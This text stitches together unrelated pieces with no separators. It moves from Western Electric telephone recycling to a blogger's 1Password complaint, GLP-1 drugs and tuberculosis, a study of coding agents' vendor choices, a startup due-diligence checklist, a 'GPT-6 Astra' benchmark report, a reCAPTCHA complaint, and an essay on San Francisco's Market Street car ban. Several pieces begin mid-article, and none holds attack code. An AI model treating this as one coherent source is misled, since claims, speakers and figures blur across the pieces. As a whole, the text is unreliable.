For some 75 years, AT&T was the telephone company, and Western Electric made the telephones. It destroyed them, as well: every phone inspected, tested, and if found wanting, condemned to the furnaces of Nassau. Telephone wires stretched across the nation by 1915; and by 1984 that very same wire had likely been cut, stripped, melted, and refined on Staten Island; quite possibly, it had even been returned to Western Electric, just a few molecules in each of the 35,000 telephones rolling off the line of the Indianapolis Works. Likely also, a few molecules of the soil permanently interred under Premiere Pickleball of Staten Island, a few molecules on the banks of Mill Creek, a few molecules of the ocean.

Metal is highly recyclable; it's sometimes estimated that the majority of the copper ever mined is still in use today. Much of that metal passed through Nassau at some point, there might be a bit of a Western Electric 500 in your smartphone today. There certainly is under the YoYo Chicken: a tombstone for the telephone era.

Like I wrote, september has started with my disappointment with 1password. As I was expecting, I got a reply to my email at the support team. Here’s what they have told me.

Hello Nicola,

Thank you for reaching out and sharing your questions and concerns about our decision to become a corporate patron of the Omacom Foundation. We value the relationship we have with you, and we want to respond thoughtfully and openly about the purpose of this commitment and how we’re approaching it at 1Password.

At 1Password, we support developer and open-source communities because they’re an important part of the ecosystem our customers rely on. We have a long history of supporting open source projects, including the Linux, Rails, and Rust Foundations. We chose to support Omarchy because it is a growing Linux environment that developers use and value, and because 1Password already had a meaningful presence in that community.

Contributing to the Omacom Foundation is intended to support hosting infrastructure and provides stable, long-term funding for the upstream open-source projects and maintainers on which Omarchy depends.

We recognize that Omarchy is closely associated with its founder, and that raises questions about what our support means. Our contribution is made to the Omacom Foundation, not to an individual, and is not an endorsement of any individual’s personal or political views. 1Password does not endorse hateful, dehumanizing, or exclusionary views.

The patronage is also separate from product decisions. It includes no requirements or guarantees related to product placement, exclusivity, endorsement, or roadmap influence.

We understand that this explanation may not change how you feel about our decision. We take all feedback seriously and share it with the appropriate teams.
Our commitment to the security and privacy of our customers remains unchanged.

We’re grateful for the trust you place in 1Password.

Kind Regards,

Personally I think something like this will become a public statement if the customers will keep complaining on the moral dilemma of founding projects / initiatives / people with discriminatory behaviours.

Now on the reply. I was expecting something like this, I am not that naive. My point was to stand up and declare my position on the topic. I hope many will complain. Then we will see what happens.

I can understand and relate to MereCivilian position on the topic. But I am more inclined to not lie to myself in believing that supporting economically the business of “Weird Little Guys” is acceptable. I am making them a little richer, and also on that I’ve told how I think.

This year 1password has risen their prices over the annual subscription. Did I pay for increasing costs or better services or did I found those yearly 100000$ Omacom Foundations or other questionable ‘marketing choices’?

As I grow older, I am feeling the need to stand up and try to protect my values.

We cannot allow this to continue; we must be far more proactive and assertive in our fight against the normalization of fascism and the far right. We must be willing to sacrifice ease and convenience, and we must be willing to sever all connections with these entities.

It is our only way forward.
– Brennan Kenneth

The positive reputation of GLP-1 medications like semaglutide (Ozempic/Wegovy) and tirzepatide (Mounjaro/Zepbound) continues to get bolstered. These drugs might even help keep some infectious diseases at bay.

Two studies in recent weeks have found a link between GLP-1 use and a reduced risk of diseases like tuberculosis or infections serious enough to send people to the hospital. Though more research is needed to confirm this connection, GLP-1 drugs could very well offer a buffer against certain infections, particularly among more vulnerable groups like people with type 2 diabetes.

“These findings suggest that beyond their established metabolic benefits, GLP-1RAs may confer additional advantages in lowering infection risk,” said the authors of one recent study, published late last month in the journal Nature Communications.

Ozempic the germ buster?

The authors of the Nature Communication study looked specifically at tuberculosis, or TB. TB is a bacterial infection and one of the world’s single deadliest germs. In 2024, it killed roughly 1.2 million people globally. The bacteria can often linger silently in people’s bodies after the initial acute infection, returning years later when a person’s immune system starts to falter.

How did we run all these experiments concretely?

Our panel of repositories

We started by running an analysis over thousands of public GitHub repositories from which we extracted statistics about programming languages & frameworks, third-party services, deployment platform, team sizes, and codebase age. Since Tech startups are more likely to have open-source repositories than large enterprises, and stacks are likely very different we then unbiased our statistics based on publicly available data and reached our ideal panel distribution.

We then staffed various coding agents to create real-world repositories to match these exact requirements. Finally, we generated variants in which we removed parts of the codebases and with them, entire third-party service implementations so we could run proper unbiased experiments.

We landed on 75 repositories, in 10 languages, all using fake company names, fake git histories, fake API keys and real lockfiles checked against package manager registries like npm.

Real-world tasks

Each experiment is a real task to be performed inside a repository, asked by one of the following 4 profiles:

• Vibe-coder: only describes symptoms and ideal state, rarely the tool category name
• Junior engineer: usually mentions the desired state and the category name
• Senior engineer: is more precise about requirements and things to avoid
• Engineer at a large enterprise: details specific constraints, compliance, procurement, etc.

Prompts are generally simple and direct and slightly tailored to each experiment (taking into account on the repository and the persona) but in 20-25% of the cases we tested adding specific mentions to the prompts like costs or usage volume to test their impact on the final output.

We ended up with 1,163 variations like this one: “Now I need that each invoice that we generate gets sent to the user’s email address with a nice message, find the best solution and implement it”.

Runner

Each experiment is run in a dedicated ephemeral sandbox. We verified that the choice of the sandbox didn’t impact the conclusions but just to be safe we decided to rotate between 3 different sandbox providers (namely E2B, Blaxel and Daytona).

A “simulated human” in the loop

Since real-world conversations are rarely just one prompt and an agent working continuously on its goal with no interruption, we decided to use a “simulated human” in the loop. We achieved this using an orchestrator, played by Gemini 3.7 Flash. This allowed us to play more realistic scenarios where the agent would be first asked to analyze the codebase and recommend the best solution. At this stage the simulated human would always go with the top 1 solution or ask the coding agent to choose the best one and implement it. But we noticed that asking at the beginning to implement without returning any question would bias the agent towards building everything in-house as it was not able to ask authorization to pick a specific third-party solution. Adding this “human” in the loop reduced the leaders & cloud platform-native solutions dominance towards a more realistic picture.

For example in the object storage experiment, Cloudflare R2 started winning in sessions in which the agent would always use Amazon S3 before.

Our judge

Another instance of Gemini 3.7 Flash was used to analyze the sessions. Its role is twofold:

• Assess if a session is valid regarding a list of criterias, e.g., the choice wasn’t biased by a repository that already “pre-chose” the provider; a solution was actually chosen (for observability it would reject OpenTelemetry alone if not coupled with a platform).
• Identify each player that was mentioned, and the final winner (looking at the conversation and the actual code diffs).

So what did we learn?

Out of these 16,893 runs, we started by keeping 5,292 sessions on 51 codebases and 18 sectors that we considered valid and ready to be published. This doesn’t mean we threw the 10k+ others to the bin and may share them in a second wave. On this first wave, we only extracted a fraction of all the learnings that are still buried in the traces and will continue digging to share what surprised us and what’s of interest to vendors and developers. But from today, all these traces are public so you can do the same. Below are 5 first observations we found interesting.

Different coding agents use different sources and they end up disagreeing.

• Cursor bases its decision on the web in 2/3 of the sessions.
• Codex almost always uses web search (94% of sessions) but in 9 queries out of 10 it uses operators like site: to focus on trusted domains or dive on a specific solution (like in site:auth0.com password reset MFA social connections for example)
• Claude Code relies primarily on its priors and searches the web only in ~30% of the cases. But when it does, it browses 3x more pages than Codex. In more recent sectors such as sandboxes where its priors are weaker, it searched the web ~80% of the time.
• All three agents pick the same tool in only 42% of the cells: in the voice agents category for example, Claude Code picks Twilio while Codex picks OpenAI Realtime API () and Cursor goes with Vapi.
• Claude Code builds in-house almost twice as much as Codex and Cursor (19% vs 10%)

Repository context is key

• With the exact same ask on 4 repositories in 4 different programming languages, we got 4 different email provider winners: Resend wins on Typescript (55/89 runs), Sendgrid on Python (22/24), Postmark on Go (20/24) and Azure ACS on Java (22/23).
• While Vercel wins on Typescript repos (and naturally, even in 100% of the case when NextJS is used), it was never recommended on Python repos where Render dominated.

Getting mentioned isn’t winning

So many well-known players are mentioned in almost every conversation and are never picked. Of course, in the real world you’d expect a share of them to still win because of human involvement in the choice but some results are striking:

• In the payment service provider sector, Paypal is cited 139 times and never picked (Stripe won 124 of these 139 sessions). Same for Adyen mentioned 175 times and picked 3 times only.
• LangChain is the most cited framework with 194 mentions but was only picked 4 times (!).
• Netlify was mentioned 152 times and picked 6 times as the deployment platform.
• Supabase is the most mentioned database with 242 mentions and was still largely dominated by Neon.

Additional features or details on vendors pages can flip choices

• Mailgun regularly lost against Postmark when agents read “1-day retention” on its free plan
• Supabase almost always lost because of too many unnecessary BaaS features (auth, storage, realtime) presented in a bundle pricing while agents were looking for a database only
• Out of our 5.3k sessions, 388 mentioned platform management overhead and 195 mentioned costs. In a significant of these cases, we noticed that this was more due to a way of presenting the information rather than an actual disqualifying datapoint.

Some markets are outrageously dominated, some are very disputed

• Stripe won in 9 cases out of 10, losing only in specific EU-regulated cases where some players were more specialized (Paddle, Mollie).
• Neon won on 66% followed by cloud platforms native solution (Azure, AWS).
• For File storage Amazon S3 dominates with 45% followed by Azure and GCP with 20% each
• Resend and Postmark lead closely with respectively 35.6% and 27.4% of install rate.

This is only the beginning of our experiments and we’ll keep publishing insights about how coding agents choose third-party services. We also plan to run brand new experiments so we’d like to know what are the questions you still have, don’t hesitate to reach out to us at contact@armature.tech.

Who wins in each sector? Why?

To answer those burning questions, we are exposing all our results with our analyses, key learnings and entire traces in the leaderboard below!

My LinkedIn inbox fills up every month with startup pitches. A founder wants a “quick chat.” A recruiter says a Series B company is “on fire.” A stealth startup promises “impact at scale.” If you are a senior engineer in Big Tech, you know the script.

Most of these messages are noise. But buried in them, once in a while, is a company that could be worth a real look. The problem is, the pitch is never the truth. Founders sell vision. Recruiters sell urgency. If you make a career move based on either, you are gambling blind.

The only way to cut through is to run your own checklist. Over time, I’ve built mine. It is not complicated, but it is sharp enough to filter 90% of the inbound messages I get.

The first number I check is revenue per employee. Ask the founder, or whoever reached out to you, for the revenue number. Divide their annual recurring revenue by the total headcount. If that number is below $150K, the company is either pre–product market fit or scaling too early. They will burn fast when the market tightens. If it is above $300K, there is enough efficiency to suggest real traction. Most engineers never ask this, but it tells you in one shot if the business model makes sense.

Then I check fundraising history on Crunchbase. Do not only look at valuation headlines. Look at the timing. Healthy companies raise every 12–24 months and grow into each round. If you see a raise only six months after the last, it usually means burn is out of control. If you see a gap of three years with no news, it means they struggled to get the next check. Both are red flags.

Next is investors. Look at their financial stability. Check the size of the fund. A small fund may not have the capital to support future rounds. Do they fund follow-on rounds, or abandon companies after the first check?

Equity is the hardest to diligence, but you can still push. Ask from the founders about the preferred share price in the last round. A clear answer means they respect you. A vague answer usually means liquidation preferences are so high that your common equity will be nearly worthless. Many engineers only discover this after years of work, when their “life-changing” grant turns into nothing.

I also check the team. LinkedIn makes it obvious. How long do engineers stay? Are the first ten hires still there? If you see a pattern of people leaving at the two-year mark, it usually means insiders see the ceiling. Early churn is the most honest signal you will get.

One more check most engineers ignore: customers. Look at engagement and retention. For B2B, ask how many top accounts renew, losing one big client can wipe out a large portion of revenue. For B2C, check usage and repeat behavior, high churn or low engagement signals trouble. Impressive logos or large user counts mean little if the business can’t retain them. Customers tell the truth long before TechCrunch does.

When you step back, the decision always comes down to three currencies: equity, ego, or exit. Equity is the bet that your shares will be worth something. Ego is the pull of being needed, building fast, feeling essential again. Exit is the freedom you hope to buy later. None of these is wrong. But you have to know which one you are choosing, or you will get burned.

I have seen smart engineers chase ego and call it equity. I have seen people join for equity only to discover they were last in line on the cap table. The failure is not choosing wrong, but not being honest about what you want or checking if the company can deliver it.

Every message in your inbox is asking for the same thing: your time, traded for risk. Your job is to make sure the numbers make the risk worth it. Revenue per employee. Fundraising pace. The investor behind the logo. The equity terms. The team’s behavior. The customers. That is the real checklist.

If those do not pass, nothing else matters.

If you liked this post, hit the like button. It's the best feedback I could get.

Until next time,
Adlet

Connect with me on LinkedIn, just use the button below. I read every message. Cheers!

GPT-6 Astra makes significant gains in the Artificial Analysis Coding Agent Index, scoring equal to Fable 5 at lower cost. In the Intelligence Index, it uses fewer tokens than GPT-5.6 Sol for similar performance, but this is outweighed by higher prices

Pricing is 2.5x GPT-5.6 Sol’s current prices across the board, up from $4/$20 to $10/$50 per million input/output tokens, with the same 90% discount for cache reads and 25% premium for cache writes.

We see distinct stories across our two flagship Indices. In the Artificial Analysis Coding Agent Index, GPT-6 Astra equals Fable 5 at less than half the cost, driven by significant token efficiency gains. In the Artificial Analysis Intelligence Index, GPT-6 Astra is more token efficient than its predecessor for similar performance, but this is offset by the price increase.

Artificial Analysis Coding Agent Index - key takeaways:

➤ Rivals top models: In Codex, GPT-6 Astra scores 67 in the Index - approximately equal to Claude Opus 5 and Fable 5 in Claude Code, and Muse Spark 1.3 in Muse Code. Fable 5.1 in Claude Code leads the Index with a score of 70.

➤ 70% more token efficient than GPT-5.6 Sol: GPT-6 Astra sees a substantial improvement in token efficiency, using one third of the tokens compared to GPT-5.6 Sol (max) in the Codex harness, and one fifth of the tokens of Claude Opus 5 (xhigh). Various effort levels of the model occupy the Pareto frontier of token efficiency.

➤ Leads Coding Agent Index cost efficiency frontier: At max effort, GPT-6 Astra costs about the same as GPT-5.6 Sol (max) while scoring 2 points higher on the Index. Per task, the model is less than half the cost of Claude Fable 5, for the same score.

Artificial Analysis Intelligence Index - key takeaways:

➤ Sits beside GPT-5.6 Sol in Intelligence: GPT-6 Astra scores equal to GPT-5.6 Sol in the Index at 61. This is 5 points lower than Claude Fable 5.1 (max with fallback). The model also trails Meta’s newly released Muse Spark 1.3 (max).

➤ ~10% fewer output tokens, offset by price increase: GPT-6 Astra defines a new Pareto frontier for Intelligence Index vs Output Tokens per Task - with a ~10% reduction in token use at max effort compared to GPT-5.6 Sol. However, due to the 2.5x increase in price, the model is 75% more expensive per task than its predecessor at max effort.

➤ Hallucinates half as much as GPT-5.6 Sol: GPT-6 Astra sees a large jump in AA-Omniscience, our knowledge and hallucination benchmark. This is driven by a significant decrease in hallucination rate from 92% to 51% at max effort. Unlike some models, this improvement does not come at the cost of accuracy - Astra increased accuracy by 4 points at the same time.

➤ ~80 point gain in AA-Briefcase Elo: GPT-6 Astra improves ~80 points in AA-Briefcase, our frontier long-horizon knowledge work evaluation. Models are tested on multi-week projects, with many linked tasks and thousands of source files. Astra sees a significant increase in both rubric scores and Analytical Quality Elo in AA-Briefcase compared to its predecessor. In the other direction, we observe a reduction in Presentation Quality Elo, where GPT-5.6 Sol (max) still leads all models.

➤ Mixed progress on other evaluations: The model sees a 6 point gain in Humanity’s Last Exam, a long-standing evaluation with emphasis on mathematics, science, and humanities. This is offset by a drop of ~80 Elo points in GDPval-AA v2 - a benchmark we adapted from OpenAI’s dataset measuring economically valuable tasks across 44 occupations. We also observe 2-3 point regressions on other evaluations across a mix of capabilities, including reductions in τ³-Banking (customer support), SciCode (Python problems in a scientific domain), and AA-LCR (long context reasoning over large documents).

Coding Agent Index cost improvements are driven by token efficiency, with a ~3x token reduction at max effort compared to GPT-5.6 Sol (max).

GPT-6 Astra is on the Pareto frontier for Coding Agent Index vs Cost per Task, with its max effort setting costing about the same as GPT-5.6 Sol (max) while scoring 2 points higher in the Index.

GPT-6 Astra defines a new Pareto frontier for Intelligence Index vs Output Tokens per Task - with a ~10% reduction in output tokens at max effort compared to GPT-5.6 Sol.

GPT-6 Astra is 75% more expensive than GPT-5.6 Sol at max effort, and largely sits behind its predecessor on the Intelligence Index vs Cost per Task frontier. This is driven by a 2.5x increase in price, partially offset by a reduction in token use.

GPT-6 Astra sees a large jump in AA-Omniscience, driven by a significant decrease in hallucination rate from 92% to 51% at max effort, alongside a modest increase in accuracy.

The model shows mixed progress in agentic knowledge work - improving ~80 points in AA-Briefcase, but regressing a similar amount in GDPval-AA v2. In AA-Briefcase, Astra sees a significant increase in both rubric scores and Analytical Quality Elo, but a reduction in Presentation Quality Elo.

Breakdown of the individual evaluations in the Artificial Analysis Intelligence Index v4.1.1.

Compare GPT-6 Astra with other leading models at: www.artificialanalysis.ai

Infinite Google ReCAPCHA loop trying to access archive.is using current Firefox from Linux. Just started today. Firefox is in "strict" mode. Disabled Privacy Badger for that site, and it didn't help. Tried private browsing, and it didn't help.

Is this part of Google's war against ad-blocking and non-Chrome browsers?

How San Francisco turned its most iconic street into a giant empty scar.

I still remember the first time I set foot on Market Street. I was a freshman in college, and big cities were still a very new thing to me. It felt like I was swimming through an ocean of foot traffic; the towering shops and hotels seemed like they were built by giants.

That Market Street is gone now. In its place is a giant empty field of asphalt in the center of San Francisco — a desolate gray waste baking in the sun, empty except for the occasional bus and a tiny smattering of bicycles.

On either side of this yawning wasteland are giant sidewalks with only a few pedestrians, boarded-up stores, and the occasional small, sad retail chain. At midday on a Monday, what was once the bustling commercial heart of San Francisco feels abandoned.

What happened? In fact, Market Street was destroyed by several things:

1. The city’s decision to close the street to cars (but not buses), enacted in 2019

2. The crime wave of the early 2020s

3. The pandemic, and the shift to remote work

The second and third of these, together, are known as the “Doom Loop”. It’s been talked about a lot, so let’s just cover it briefly.

The pandemic, and the economic and social changes it brought, came out of the blue. But San Francisco was particularly vulnerable to the shock. As in many American cities, 20th century urban planning and zoning rules concentrated office buildings in the downtown area and put housing farther out. This meant that once people stopped going downtown for work, the neighborhood was just a lot more empty, because almost no one lives there. This is in contrast to big cities in Europe and Asia, where downtown neighborhoods are typically mixed-use. (SF also had a stronger shift to remote work, because of the heavy presence of the tech industry.)

The crime wave was another shock. Although SF escaped the destructive rioting that hit other West Coast cities like Seattle, Portland, and Los Angeles in 2020, it had plenty of looting in downtown areas — especially around Union Square and the San Francisco Centre mall on Market Street. Even after the pandemic ended, San Francisco suffered especially hard from the statewide wave of “smash-and-grab” store thefts. It got so bad that American Eagle actually sued the San Francisco Centre for being negligent toward crime, reporting over 100 serious incidents of violence and harassment in its downtown store.

Crime and emptiness fed on each other. Less foot traffic meant fewer “eyes on the street” to discourage property crime. Property crime and reduced foot traffic forced stores to close. Fewer stores meant less foot traffic, and so on. The collapse of downtown culminated in January 2026 with the closure of the San Francisco Centre, the iconic mall that had formed the commercial heart of Market Street, but which had been gutted by the Doom Loop. It now stands as a looming, empty, boarded-up structure dominating the area around the Powell Street train station:

The intersection of Powell Street and Market Street, once bustling and alive with tourists, shoppers, and street vendors, is now virtually empty, except for a forlorn line of people waiting to get on the iconic streetcar:

But recent years have seen the first glints of recovery from the Doom Loop. For one thing, crime has begun to fall. 2025 alone saw a 27% decrease in property crime, including a 29% decrease in burglaries, a 22% decrease in larceny (including retail theft), and a 24% decrease in robbery. 2026 has seen further drops. The reasons for this are interesting, but I’ll go into them another time. Suffice it to say that this has made downtown SF feel much safer and more orderly. The stereotype of SF as being overrun by drug addicts and dangerous vagrants still holds true of a few areas of the city, but from Powell Street to the bay, the city no longer feels like a post-apocalyptic movie.

Meanwhile, the business district is showing a few sluggish signs of life. The AI boom is causing a (modest) rebound in the demand for office space. Some office buildings are being converted to housing, raising hopes that SF’s downtown can finally become a mixed-use neighborhood. A concerted effort to revive Union Square after the devastation of 2020 is beginning to bear fruit. And both companies and the SF city government are mandating return-to-office policies.

And yet Market Street remains a dead zone. Weekday foot traffic is still down by half compared to 2019:

The wounds inflicted by the Doom Loop will take lots more time and effort to heal. Retail businesses have to be encouraged to open. Defunct buildings have to be torn down and rebuilt. Crime has to be reduced even further, and so on. This will all take years.

But there’s one other factor contributing to the death of San Francisco’s most important street, and it began before the pandemic: The ban on cars.

In recent years, a number of cities around the world have experimented with car-free zones and traffic reduction policies in their downtown areas. The most famous of these is Paris, with its Limited Traffic Zone, its expansion of pedestrian malls, and its road closures during Sundays and holidays. Shortly before the pandemic, San Francisco decided to enact a plan its leaders thought was in the same spirit: closing downtown Market Street to all car traffic:

But although Market Street was closed to cars, it wasn’t closed to buses, delivery trucks, and licensed taxis. This was in keeping with the general “transit good, cars bad” thinking of modern progressive urbanism. But a bus will kill a pedestrian just as easily as a car will, which is why Market Street remains empty of pedestrian traffic. This mathematically guaranteed that Market Street would become a more empty place: Cars were subtracted, but pedestrians weren’t added.

The direct cost of this policy is pretty obvious. When people can’t park in a parking garage on Market, and when Uber and Lyft can’t pick people up and drop people off on the street, it makes businesses on the street less attractive to visit. Sure, people could bike or take the train, but not everyone wants to do that; instead, they’ll just go to restaurants or stores in other areas. In addition, restaurants on Market Street now can’t deliver food, cutting them off from an important source of revenue. That probably helps explain why Market has suffered more from the Doom Loop than other areas.

But what did SF gain by deleting cars from Market Street and adding nothing at all in their place? Cars create a little bit of pollution (though modern cars are very clean), so that was removed. Pedestrians who run off the sidewalk and into the street are somewhat less in danger of being killed (though still in danger). These are meager benefits indeed.

What about bike traffic? Presumably, reduced danger of being hit by a car would allow more cyclists to ride down Market Street. But in fact, bike traffic on the street is considerably lower than it was pre-pandemic:

A lot of that is the Doom Loop — there are simply fewer stores for cyclists to visit on Market Street, so there’s less reason for them to go there. But much of downtown hasn’t collapsed the way Market Street has, and presumably cyclists could use the street as a way to get to places like the Embarcadero, Chinatown, etc. They’re not doing it. Cyclists are a relatively rare sight on Market these days.

One reason might be that although the city planned to make the car-free stretch of Market more bike-friendly, it never really followed up on those plans. So it’s still pretty dangerous to ride a bike or scooter down the street — you can get caught in the train tracks, and you can get hit by a bus or truck.

“paula”@paularambles

reminder to be super careful riding bikes/scooters over the tram lines on market street. insanely dangerous.

6:29 PM · Aug 12, 2026 · 44.6K Views

---

8 Replies · 3 Reposts · 83 Likes

In fact, this sloppy implementation is a general pattern with the Market Street closure. Josh Koehn had a great article in 2023 about how the plan degenerated from its initial form:

A $600 million capital project called Better Market Street promised to create a futuristic boulevard that would safely buffer bicycles and scooters on elevated sidewalk lanes, separating the little wheels from rapid bus lines, vintage streetcars and pedestrians…The new vision for Market Street, advocates said, would create a safer, more vibrant multimodal avenue…More than a decade of planning went into alterations of Market Street…

But funds for anything beyond modest improvements along a three-block stretch of Market Street between Fifth and Eighth streets…have evaporated…The cost of Better Market Street, which soared above a billion dollars before being reined in to a still-staggering $604 million, is almost double the amount spent on the tormented Van Ness Avenue redesign…

City officials enraged safe streets advocates when they announced in late 2020 that the elevated bike lanes on sidewalks would be scrapped.

SF’s lack of state capacity had a lot to do with this; constant cost overruns inevitably require ambitious projects to be scaled back. The pandemic also obviously got in the way. But part of what killed the vision for Market Street is simply that the vision itself was never very good.

If you look at Paris, it’s immediately clear how that city’s car-limitation measures were designed to create spaces for pedestrians. In certain areas like the banks of the Seine, Paris didn’t just ban cars; it also banned buses and trucks, so that people could walk safely. Paris also reserved much larger areas for pedestrians on certain days.

But Market Street has no more pedestrian areas than it did in 2019. You can still only walk on the sidewalk. If the entire street were reserved for foot traffic during certain times — like SF does with Valencia Street, for example — then these periodic temporary pedestrianizations could become an event that regularly draws lots of people to the area. This could include farmers’ markets, street concerts, and other fun events. Those would give people a reason to walk around Market Street even before new businesses opened.

Alternatively, if SF permanently closed off some portion of the street to buses and trucks, that stretch of road could become a pedestrian public square, similar to the center of Times Square:

Instead of thinking about how to create spaces that people would actually want to walk around in, the SF government — and the many activist groups and nonprofits that influence its policy — appear to have adhered to the simple rule of “bikes and buses good, cars bad”.

This is a way of thinking centered around modes of transit rather than public space. It implicitly conceives of areas like Market Street as thoroughfares to take people from one place to another, rather than as actual destinations. Market Street’s car closure is all about forcing people to go down Market Street in a different way, rather than about encouraging people to go to Market Street.

There’s something inescapably and depressingly suburban about this way of thinking. In the suburbs, life is lived point-to-point — you go from house to strip-mall to restaurant to office without thinking much about the places you traverse in between. In a suburb, the mode of transportation — how you get from Point A to Point B — is the important question.

Americans are a suburban people; even many of our urban areas look like suburbs in other countries. So perhaps it’s inevitable that the urbanists who closed Market Street off to car traffic would think entirely about modes of transportation and ignore the vibrant city center whose destruction they exacerbated. Instead of Jane Jacobs, they ended up just being the Robert Moses of buses.

Again, careful attention to car limitations in cities like Paris, where people are used to occupying urban places instead of simply whizzing through them, would have proven enlightening. Paris’s Limited Traffic Zone doesn’t ban cars in downtown areas; it merely bans cars from transiting through those areas. People who stay within the area can still drive. The point is to make downtown spaces into places people occupy rather than places people simply go through. What San Francisco did to Market Street was, in many ways, the exact opposite.

In lieu of turning Market Street into a pedestrian paradise, SF’s best move is probably just to allow private cars again. It’s not the optimal way to create more foot traffic to nourish retail businesses, but it’s the quickest and easiest. In fact, Mayor Daniel Lurie has made moves in this direction, allowing certain Uber, Lyft, and Waymo cars to operate on the street. But they might as well simply go all the way. Best to simply bury the era when Market Street was a large empty scar commemorating the decline of San Francisco; if San Francisco can’t be Paris, at least it can return to what it used to be.

---